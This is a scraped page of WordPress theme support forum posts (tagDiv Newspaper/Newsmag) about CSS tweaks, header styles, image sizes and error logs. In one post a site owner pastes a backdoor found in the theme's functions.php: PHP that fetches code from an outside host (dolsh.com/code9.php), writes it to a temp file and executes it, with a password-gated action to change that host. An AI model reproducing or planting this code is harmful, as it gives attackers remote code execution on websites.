- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
- TutorialsFrom WPBakery to tagDiv Composer
- TutorialsOffset Feature
- TutorialsWhat is Ajax preloading?
Hi,
The theme doesn’t have an option for this, but you could try to hide them using custom css.
For example you can hide the meta info on post page and category page using this css code – https://www.screencast.com/t/nsvV95tW – https://www.screencast.com/t/kywadqiL2
.category-applications .td-module-meta-info {
display: none;
}
Replace applications with your category slug.
Also to hide next/prev and comments:
.category-applications .td-post-next-prev, .category-applications .comments {
display: none;
}
Thanks!
Hi,
Please note that we do not work on weekends, sorry about the delay. The support hours can be seen in the top right of the topic page. If you would like to define a new block, check these tutorials
– https://forum.tagdiv.com/api-blocks-introduction/
There is an example as well
– https://forum.tagdiv.com/practical-example-how-to-add-a-new-block-and-module/
All the blocks are located in the shortcodes folder here
– https://www.screencast.com/t/WXU3ZNlHM3Eb
Thanks
Hi,
The menu can have a background color set and also text color, in the theme panel
– https://www.screencast.com/t/OoGfKO9Ty
The same colors will be displayed when the menu is sticky. If you want the menu to have a white background color when in sticky state, try a code like in this example
– https://www.screencast.com/t/zBmtFDwWt
– https://www.screencast.com/t/JyII557E7bIZ
The code must be entered in Theme panel->Custom CSS if you decide to use it
.td-header-style-6 .td-header-main-menu.td-affix {
background-color: white;
{
Thanks
Hi,
Please note that when both Visual composer and tagDiv composer are active, there could be issues. I believe that is the case here. The single images for example have a different implementation in each composer, both will apply which leads to the images not displaying properly. Go to the plugins section and deactivate the tagDiv composer, then check the results on these pages.
Regarding the logo, you could use either of header styles 7 or 8 for a full width logo. Header style 7 will require a small modification, there is a small issue with it. Edit the header template 7 file which looks like this at the moment
– https://www.screencast.com/t/q6iXae9Q
Modify it like this – https://www.screencast.com/t/6JJOmbwoT
The result – https://www.screencast.com/t/HCnQ1okKajW
Sorry for any inconvenience, we will fix the issue in the future update. Header style 8 will not require modifications, it can be used normally.
Please let us know if you need further help.
Thanks
I would like to insert [shortcode] inline inside the post content based on different categories
for example.
if post is in category 1 then insert [shortcode 1] inline of the post.
if post is in category 2 then insert [shortcode 2] inline of the post.
so on…
Please help
Hi,
I believe it would be easier to use a different smart list style to achieve this. Like smart list style 7 for example
– https://demo.tagdiv.com/newspaper/10-landscapes-wont-even-imagined-exist/
This style has buttons both top and bottom of the smart list, exactly like you want. Modifying a smart list is not easy, even changing how the buttons are placed means modifying most of the smart list structure and would require If it was something minor, I would gladly provide a solution.
Thanks
Hello,
I have these four plugins installed and they are the only ones stopping speed booster from working.
1. google-analytics-for-wordpress/googleanalytics
2. Ninja Forms
3. Ninja Forms – File Uploads
4. Ninja Forms – Layout & Styles
Please help with the code to add to speed booster.php to get speed booster to work.
Thanks
If I comment out the code that causes speed booster to be disable, will I have an issue with any of these four plugins?
please help!
Dear Chris,
I tried to substitute “post_views_count” in the sentence of the code you indicated me in your first reply by ‘websnus_views’ but didn’t work. I also tried to do it with ‘views’, ‘Views’, ‘hits’ and some other and didn’t work either.
I took the last post published with the Papillon templete and checked the code: view-source:http://www.glutenfreeadventures.net/es/restaurantes-sin-gluten-en-tel-aviv-israel-segunda-parte/
I looked for the sentence STATIC $POST_VIEW_COUNTER_KEY and it does not appear anywhere.
I do not know exactly what word should I look for in the page code in order to identify what is the wording to be changed to recover the views counter that I had with the old templete… could you help me on that please?
Another question I have is that if after recovering the old count (for example, having 900 visits in the last post) someone visits this post again, will this continue counting from this point on, showing 901?
Thanks in advance for your help,
Hi
I changed db prefix with plugin WP Security and now i get some errors in my error log. Before that i alsoupdated from 3.3 to Newsmag 4
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘…/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 20:57:48 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_usermeta’ doesn’t exist za poizvedbo SELECT umeta_id FROM wp_usermeta WHERE meta_key = ‘wp_yoast_notifications’ AND user_id = 5, ki jo je povzročil/a shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, Yoast_Notification_Center->update_storage, Yoast_Notification_Center->remove_storage, delete_user_option, delete_user_meta, delete_metadata
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.ID = 40 AND wp_posts.post_type = ‘page’ ORDER BY wp_posts.post_date DESC , ki jo je povzročil/a require(‘wp-blog-header.php’), wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT * FROM wp_posts WHERE ID = 40 LIMIT 1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, redirect_canonical, get_post, WP_Post::get_instance
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_404_to_301’ doesn’t exist za poizvedbo SELECT redirect FROM wp_404_to_301 WHERE url = ‘/?mailpoet_router&endpoint=cron_daemon&action=run&data=eyJ0b2tlbiI6IjlhNTQ3In0/’ AND redirect IS NOT NULL LIMIT 0,1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, _404_To_301_Public->i4t3_redirect_404, _404_To_301_Public->get_custom_redirect
Thank you
yes i fixed robots.txt,resubmitted sitemap,i deactivated yoast SEO but still the main page is blocked,i am not sure how to fix this google search results also says it is blocked by robots.txt .
https://www.google.ae/search?q=partydubai.ae&oq=partydubai.ae&gs_l=psy-ab.3..35i39k1.12593.12965.0.13164.3.3.0.0.0.0.192.192.0j1.1.0….0…1.1.64.psy-ab..2.1.191….0.g6OD2pLPGQE
Hello, I’ve recently updated to Newsmag 4. I have trying to figure out something with no luck yet.Im currently using Style 6 with an “always sticky” menu.
What I’m currently trying to do is when the menu is fixed on top to have for example red background with green text and when someone scrolls down the page and the logo sticks in the menu to change into a white background with green text. How is that possible? Any suggestions?
Thanks a lot!
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
Hi There!
I love your theme – you guys did an AMAZING job!
I am, however, having problems with WordPress built-in cropping feature. I think it’s a WP core issue because it’s happening with featured images, product images, and images in post/pages. I believe WP can automatically crop an image without cutting out parts of the image correct?
For example, one of my images is:
https://1m3wnq4dk41o3xjsyg127meb-wpengine.netdna-ssl.com/wp-content/uploads/2017/10/Gundo-8413-True-Royal-Triblend.jpg
When WordPress crops the image it looks like this:
https://1m3wnq4dk41o3xjsyg127meb-wpengine.netdna-ssl.com/wp-content/uploads/2017/10/Gundo-8413-True-Royal-Triblend-600×600.jpg
See how the top and the bottom of the image is cut off?
Another issue is with Visual Composer. When I use the “single image” option and try to apply the size small, medium, full, thumbnail, to the image the image size does NOT change in the post – it stays the same (the full-size image).
Is there a setting in the theme panel I missed that says to maintain the image or something?
I could really use your help with this as I cannot move forward until this is fixed.
Thank you so much!
Hello tagdiv team 🙂
I need some help…. I want to change the 2 block view.
1- I want use must read block style in my homepage. ( https://cdn.pbrd.co/images/GORYWvZ.png ) how i add this block style? And i want 2 change this style. I want to take the news photos to the right and i want add clock icon next to history. For example: https://cdn.pbrd.co/images/GOS16we.png
2- I want some change block 1 style. (https://cdn.pbrd.co/images/GOS1ZRR.png) I want to take the news photos to the right and i want add clock icon next to history. For example: https://cdn.pbrd.co/images/GOS2gZG.png
Can you help me 🙁 ?
Hello,
I have set ACTIVE & HOVER COLOR (“Theme color” -> “Main menu” -> “ACTIVE & HOVER COLOR”) on the theme panel but it does not work fully.
Well, Hover color works fine but active color does’t work on 1 item which is a bbPress page.
I even wrote below code but doesn’t work…
.td-header-style-3 .black-menu .sf-menu>.current-menu-item>a, .td-header-style-3 .black-menu .sf-menu>.current-menu-ancestor>a, .td-header-style-3 .black-menu .sf-menu>.current-category-ancestor>a, .td-header-style-3 .black-menu .sf-menu>li>a:hover, .td-header-style-3 .black-menu .sf-menu>.sfHover>a {
background-color: #00267f;
}
I deactivated bbPress related plugins already…
Any suggestions?
Here’s the second one.
<img src=”
” alt=”Entrepreneur.com” />
-
This reply was modified 8 years by
melissa_sarra.
Hi Simion,
Here two shots for you to see what I’m talking about. (A comparison)

<img src=”
” alt=”Entrepreneur.com” />
-
This reply was modified 8 years by
melissa_sarra.
-
This reply was modified 8 years by
melissa_sarra.
The smart list template that has the slides. I believe it is the first one in the order. I’ll link a page on my site that has it. I need them at the bottom because on mobile devices, the written content doesn’t always fit on screen. After they have read the content, they have to scroll back up to go to the next slide. Here is the page for the example.
http://goingfor2.com/and-the-odds-are-nfl-week-6-picks-101517/
Hi,
Retina images will be twice the size of the normal thumbnails. If the normal thumbnail is for example 696×435 the retina thumbnail will be twice that size. You can use bigger images than double if you want for the featured image, the thumbnail sizes are predefined. They will always be created the same size, both normal or retina.
Thanks
Hello howtoisolve,
Unfortunately, I do not exactly understand what exactly you want to achieve and most likely, the theme does not have any such an option for this, sorry! You can provide some screenshots with the option and explain in more example this option so I can understand what you want and also, so I can see if you can do this in our theme or do not.
Thanks for your understanding!
Hi,
You could use a text element and insert the button images there, and set a custom link to them, like in this example
– https://www.screencast.com/t/mVGN3UIsdn3
The theme has some standard buttons like these
– https://forum.tagdiv.com/increase-users-engagement-add-custom-buttons-posts/
The popular posts will count the post views, this option has to be enabled
– https://www.screencast.com/t/O70uIcMB9
If you use caching activate this option as well
– https://forum.tagdiv.com/ajax-view-count/
The theme will start counting the views from the moment the setting is enabled.
Thanks
Hi,
The available header styles require different logo sizes
– https://forum.tagdiv.com/logo-favicon/
The logo images will be displayed as they are naturally, the theme does not process the image quality in any way. This is how the logo looks for me, does not seem blurry
– https://www.screencast.com/t/pw54bvddDe9q
Place the exact same image in a post content for example, and compare with header logo. Or test with more header styles and logo sizes.
I believe WordPress does not support SVG by default, there are workarounds that you could try if you wish
– https://www.bjornjohansen.no/svg-in-wordpress
– https://css-tricks.com/snippets/wordpress/allow-svg-through-wordpress-media-uploader/
Thanks
Hi,
Those custom ad spots can be used in sidebars and on pages as well. Place the ad code in the desired custom ad spot, then use it
On pages like this, through an Ad box element
– https://www.screencast.com/t/Jr8tHSomb4
In sidebars as well, like this
– https://www.screencast.com/t/5kypqBiPdC
Make sure the ad code is valid and works. Test it in a different ad spot for example. If the code works it will be displayed by the theme.
Thanks
Dear Admin ,
I want to use “Retina Images” with the images used in the article and “featured image”
i to “media setting” of wordpress with “Large size” is 696×435.
And I upload the image to the size 1392×870.
– Example image file name : playerunknowns-battlegrounds-gamescom-2017-trailer_guhz.jpg with 1392×870
+ My web : https://fexpect.com/pubg/pubg-ps4-release-date/
am I right?
kindly guide me if i am wrong
And the relative image size to upload is in line with the theme
sorry for my english is not good
Thanks,
yours sincerely
HA
–